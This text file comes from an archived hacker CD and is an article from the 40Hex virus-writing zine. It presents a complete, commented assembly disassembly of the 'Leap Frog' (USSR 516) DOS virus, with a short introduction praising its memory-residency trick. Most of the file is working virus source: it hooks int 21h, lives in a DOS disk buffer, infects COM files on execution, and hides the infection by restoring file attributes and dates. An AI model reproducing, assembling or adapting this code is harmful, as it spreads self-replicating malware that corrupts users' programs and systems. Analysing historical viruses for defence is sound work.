home *** CD-ROM | disk | FTP | other *** search
/ Hacker 2 / HACKER2.mdf / virus / 40hex_7.006 < prev    next >
Text File  |  1995-01-03  |  16KB  |  318 lines

  1. 40Hex Number 7 Volume 2 Issue 3                                       File 006
  2.  
  3.                          Virus Spotlite on: Leap Frog
  4.  
  5. It's always interesting to find new residency techniques.  I suppose everyone
  6. by now is tired of the traditional high-memory loading routine and is on the
  7. lookout for something different.  40Hex comes to the rescue!
  8.  
  9. This virus, the "Leap Frog" or USSR 516, has one of the most unique methods
  10. I have ever seen.  I was mucking around in VSUM and noticed that it, according
  11. to Patricia, it "installs itself in a hole in memory between MSDOS and the DOS
  12. Stacks."  She is, of course, not telling us the entire story.  Leap Frog
  13. basically latches onto and resides in a DOS disk buffer.  I do not know who
  14. the author is, but I commend him for his innovative technique.  I took the
  15. liberty of disassembling the virus which is given below.  It should be an
  16. exact byte-for-byte matchup of the original carrier file (or at least should
  17. be extremely similar).  The offsets are in their correct locations, etc, etc.
  18. It is simple to understand and terribly efficient.
  19.  
  20. Although the coding is tight, there are some inconsistencies.  For
  21. example, I do not understand the purpose of the timing routine(int 21h/ah=30h)
  22. in the code.  I also do not understand why the author decided to infect COM
  23. files in such an abnormal way.  An interesting "feature" is the disabling of
  24. Control-Break checking - a thoroughly unnecessary piece of code.  I believe
  25. further that the line above "findmarker" should read:
  26.  
  27.                 lds     di,dword ptr ds:[30h*4]
  28.  
  29. In any case, the code is otherwise very, very good.  It is great for studying
  30. by newcomers and "oldtimers" alike.  Things to look for:
  31.   Residency routine
  32.   Lack of extensive use of relative offsets
  33.   Use of stack frame in the interrupt handler
  34.   Critical error handler
  35.  
  36. Enjoy!                                             Dark Angel of PHALCON/SKISM
  37.  
  38. ussr516         segment byte public
  39.                 assume  cs:ussr516, ds:ussr516
  40.                 org     100h
  41. ; Disassembled by Dark Angel of PHALCON/SKISM
  42. ; for 40Hex Number 7 Volume 2 Issue 3
  43. stub:           db      0e9h, 0, 0
  44.                 db      0e9h, 1, 0, 0
  45. ; This is where the virus really begins
  46. start:
  47.                 push    ax
  48.                 call    beginvir
  49.  
  50. orig4           db      0cdh, 20h, 0, 0
  51. int30store      db      0, 0, 0, 0                     ; Actually it's int 21h
  52.                                                        ; entry point
  53. int21store      db      0, 0, 0, 0
  54.  
  55. beginvir:       pop     bp                             ; BP -> orig4
  56.                 mov     si,bp
  57.                 mov     di,103h
  58.                 add     di,[di-2]                      ; DI -> orig4
  59.                 movsw                                  ; restore original
  60.                 movsw                                  ; 4 bytes of program
  61.                 xor     si,si
  62.                 mov     ds,si
  63.                 les     di,dword ptr ds:[21h*4]
  64.                 mov     [bp+8],di                      ; int21store
  65.                 mov     [bp+0Ah],es
  66.                 lds     di,dword ptr ds:[30h*4+1]      ; Bug????
  67. findmarker:
  68.                 inc     di
  69.                 cmp     word ptr [di-2],0E18Ah         ; Find marker bytes
  70.                 jne     findmarker                     ; to the entry point
  71.                 mov     [bp+4],di                      ; and move to
  72.                 mov     [bp+6],ds                      ; int30store
  73.                 mov     ax,5252h                       ; Get list of lists
  74.                 int     21h                            ; and also ID check
  75.  
  76.                 add     bx,12h                         ; Already installed?
  77.                 jz      quitvir                        ; then exit
  78.                 push    bx
  79.                 mov     ah,30h                         ; Get DOS version
  80.                 int     21h
  81.  
  82.                 pop     bx                             ; bx = 12, ptr to 1st
  83.                                                        ; disk buffer
  84.                 cmp     al,3
  85.                 je      handlebuffer                   ; if DOS 3
  86.                 ja      handleDBHCH                    ; if > DOS 3
  87.                 inc     bx                             ; DOS 2.X, offset is 13
  88. handlebuffer:
  89.                 push    ds
  90.                 push    bx
  91.                 lds     bx,dword ptr [bx]              ; Get seg:off of buffer
  92.                 inc     si
  93.                 pop     di
  94.                 pop     es                             ; ES:DI->seg:off buff
  95.                 mov     ax,[bx]                        ; ptr to next buffer
  96.                 cmp     ax,0FFFFh                      ; least recently used?
  97.                 jne     handlebuffer                   ; if not, go find it
  98.                 cmp     si,3
  99.                 jbe     quitvir
  100.                 stosw
  101.                 stosw
  102.                 jmp     short movetobuffer
  103. handleDBHCH:   ; Disk Buffer Hash Chain Head array
  104.                 lds     si,dword ptr [bx]              ; ptr to disk buffer
  105.                 lodsw                                  ; info
  106.                 lodsw                                  ; seg of disk buffer
  107.                                                        ; hash chain head array
  108.                 inc     ax                             ; second entry
  109.                 mov     ds,ax
  110.                 xor     bx,bx
  111.                 mov     si,bx
  112.                 lodsw                                  ; EMS page, -1 if not
  113.                                                        ; in EMS
  114.                 xchg    ax,di                          ; save in di
  115.                 lodsw                                  ; ptr to least recently
  116.                                                        ; used buffer
  117.                 mov     [di+2],ax                      ; change disk buffer
  118.                                                        ; backward offset to
  119.                                                        ; least recently used
  120.                 xchg    ax,di                          ; restore EMS page
  121.                 mov     [di],ax                        ; set to least recently
  122. movetobuffer:                                          ; used
  123.                 mov     di,bx
  124.                 push    ds
  125.                 pop     es                             ; ES:DI -> disk buffer
  126.                 push    cs
  127.                 pop     ds
  128.                 mov     cx,108h
  129.                 lea     si,[bp-4]                      ; Copy from start
  130.                 rep     movsw
  131.                 mov     ds,cx                          ; DS -> interrupt table
  132.                 mov     word ptr ds:[4*21h],0BCh       ; New interrupt handler
  133.                 mov     word ptr ds:[4*21h+2],es       ; at int21
  134. quitvir:
  135.                 push    cs                             ; CS = DS = ES
  136.                 pop     es
  137.                 push    es
  138.                 pop     ds
  139.                 pop     ax
  140.                 mov     bx,ax
  141.                 mov     si, 100h                       ; set up stack for
  142.                 push    si                             ; the return to the
  143.                 retn                                   ; original program
  144. int24:
  145.                 mov     al,3                           ; Ignore all errors
  146.                 iret
  147. tickstore       db      3                              ; Why???
  148. buffer          db      3, 0, 9, 0
  149.  
  150. int21:
  151.                 pushf
  152.                 cli                                    ; CP/M style call entry
  153.                 call    dword ptr cs:[int30store-start]
  154.                 retn                                   ; point of int 21h
  155.  
  156. int21DSDX:                                             ; For int 21h calls
  157.                 push    ds                             ; with
  158.                 lds     dx,dword ptr [bp+2]            ; DS:DX -> filename
  159.                 call    int21
  160.                 pop     ds
  161.                 retn
  162.  
  163.                 cmp     ax,4B00h                       ; Execute
  164.                 je      Execute
  165.                 cmp     ax,5252h                       ; ID check
  166.                 je      CheckID
  167.                 cmp     ah,30h                         ; DOS Version
  168.                 je      DosVersion
  169. callorig21:                                            ; Do other calls
  170.                 jmp     dword ptr cs:[int21store-start]
  171. DosVersion:    ; Why?????                             ; DOS Version
  172.                 dec     byte ptr cs:[tickstore-start]
  173.                 jnz     callorig21                     ; Continue if not 0
  174.                 push    es
  175.                 xor     ax,ax
  176.                 push    ax
  177.                 mov     es,ax
  178.                 mov     al,es:[46Ch]                   ; 40h:6Ch = Timer ticks
  179.                                                        ; since midnight
  180.                 and     al,7                           ; MOD 15
  181.                 inc     ax
  182.                 inc     ax
  183.                 mov     cs:[tickstore-start],al        ; # 2-17
  184.                 pop     ax
  185.                 pop     es
  186.                 iret
  187. CheckID:                                               ; ID Check
  188.                 mov     bx,0FFEEh                      ; FFEEh = -12h
  189.                 iret
  190. Execute:                                               ; Execute
  191.                 push    ax                             ; Save registers
  192.                 push    cx
  193.                 push    es
  194.                 push    bx
  195.                 push    ds                             ; DS:DX -> filename
  196.                 push    dx                             ; save it on stack
  197.                 push    bp
  198.                 mov     bp,sp                          ; Set up stack frame
  199.                 sub     sp,0Ah                         ; Temporary variables
  200.                                                        ; [bp-A] = attributes
  201.                                                        ; [bp-8] = int 24 off
  202.                                                        ; [bp-6] = int 24 seg
  203.                                                        ; [bp-4] = file time
  204.                                                        ; [bp-2] = file date
  205.                 sti
  206.                 push    cs
  207.                 pop     ds
  208.                 mov     ax,3301h                       ; Turn off ^C check
  209.                 xor     dl,dl                          ; (never turn it back
  210.                 call    int21                          ;  on.  Bug???)
  211.                 mov     ax,3524h                       ; Get int 24h
  212.                 call    int21                          ; (Critical error)
  213.                 mov     [bp-8],bx
  214.                 mov     [bp-6],es
  215.                 mov     dx,int24-start
  216.                 mov     ax,2524h                       ; Set to new one
  217.                 call    int21
  218.                 mov     ax,4300h                       ; Get attributes
  219.                 call    int21DSDX
  220.                 jnc     continue
  221. doneinfect:
  222.                 mov     ax,2524h                       ; Restore crit error
  223.                 lds     dx,dword ptr [bp-8]            ; handler
  224.                 call    int21
  225.                 cli
  226.                 mov     sp,bp
  227.                 pop     bp
  228.                 pop     dx
  229.                 pop     ds
  230.                 pop     bx
  231.                 pop     es
  232.                 pop     cx
  233.                 pop     ax
  234.                 jmp     short callorig21               ; Call orig handler
  235. continue:
  236.                 mov     [bp-0Ah],cx                    ; Save attributes
  237.                 test    cl,1                           ; Check if r/o????
  238.                 jz      noclearattr
  239.                 xor     cx,cx
  240.                 mov     ax,4301h                       ; Clear attributes
  241.                 call    int21DSDX                      ; Filename in DS:DX
  242.                 jc      doneinfect                     ; Quit on error
  243. noclearattr:
  244.                 mov     ax,3D02h                       ; Open read/write
  245.                 call    int21DSDX                      ; Filename in DS:DX
  246.                 jc      doneinfect                     ; Exit if error
  247.                 mov     bx,ax
  248.                 mov     ax,5700h                       ; Save time/date
  249.                 call    int21
  250.                 mov     [bp-4],cx
  251.                 mov     [bp-2],dx
  252.                 mov     dx,buffer-start
  253.                 mov     cx,4
  254.                 mov     ah,3Fh                         ; Read 4 bytes to
  255.                 call    int21                          ; buffer
  256.                 jc      quitinf
  257.                 cmp     byte ptr ds:[buffer-start],0E9h; Must start with 0E9h
  258.                 jne     quitinf                        ; Otherwise, quit
  259.                 mov     dx,word ptr ds:[buffer+1-start]; dx = jmploc
  260.                 dec     dx
  261.                 xor     cx,cx
  262.                 mov     ax,4201h                       ; go there
  263.                 call    int21
  264.                 mov     ds:[buffer-start],ax           ; new location offset
  265.                 mov     dx,orig4-start
  266.                 mov     cx,4
  267.                 mov     ah,3Fh                         ; Read 4 bytes there
  268.                 call    int21
  269.                 mov     dx,ds:[orig4-start]
  270.                 cmp     dl,0E9h                        ; 0E9h means we might
  271.                 jne     infect                         ; already be there
  272.                 mov     ax,ds:[orig4+2-start]          ; continue checking
  273.                 add     al,dh                          ; to see if we really
  274.                 sub     al,ah                          ; are there.
  275.                 jz      quitinf
  276. infect:
  277.                 xor     cx,cx
  278.                 mov     dx,cx
  279.                 mov     ax,4202h                       ; Go to EOF
  280.                 call    int21
  281.                 mov     ds:[buffer+2-start],ax         ; save filesize
  282.                 mov     cx,204h
  283.                 mov     ah,40h                         ; Write virus
  284.                 call    int21
  285.                 jc      quitinf                        ; Exit if error
  286.                 sub     cx,ax
  287.                 jnz     quitinf
  288.                 mov     dx,ds:[buffer-start]
  289.                 mov     ax,ds:[buffer+2-start]
  290.                 sub     ax,dx
  291.                 sub     ax,3                           ; AX->jmp offset
  292.                 mov     word ptr ds:[buffer+1-start],ax; Set up buffer
  293.                 mov     byte ptr ds:[buffer-start],0E9h; code the jmp
  294.                 add     al,ah
  295.                 mov     byte ptr ds:[buffer+3-start],al
  296.                 mov     ax,4200h                       ; Rewind to jmploc
  297.                 call    int21
  298.                 mov     dx, buffer-start
  299.                 mov     cx,4                           ; Write in the jmp
  300.                 mov     ah,40h
  301.                 call    int21
  302. quitinf:
  303.                 mov     cx,[bp-4]
  304.                 mov     dx,[bp-2]
  305.                 mov     ax,5701h                       ; Restore date/time
  306.                 call    int21
  307.                 mov     ah,3Eh                         ; Close file
  308.                 call    int21
  309.                 mov     cx,[bp-0Ah]                    ; Restore attributes
  310.                 mov     ax,4301h
  311.                 call    int21DSDX
  312.                 jmp     doneinfect                     ; Return
  313. ussr516         ends
  314.                 end     stub
  315.  
  316.  
  317. Downloaded From P-80 International Information Systems 304-744-2253
  318.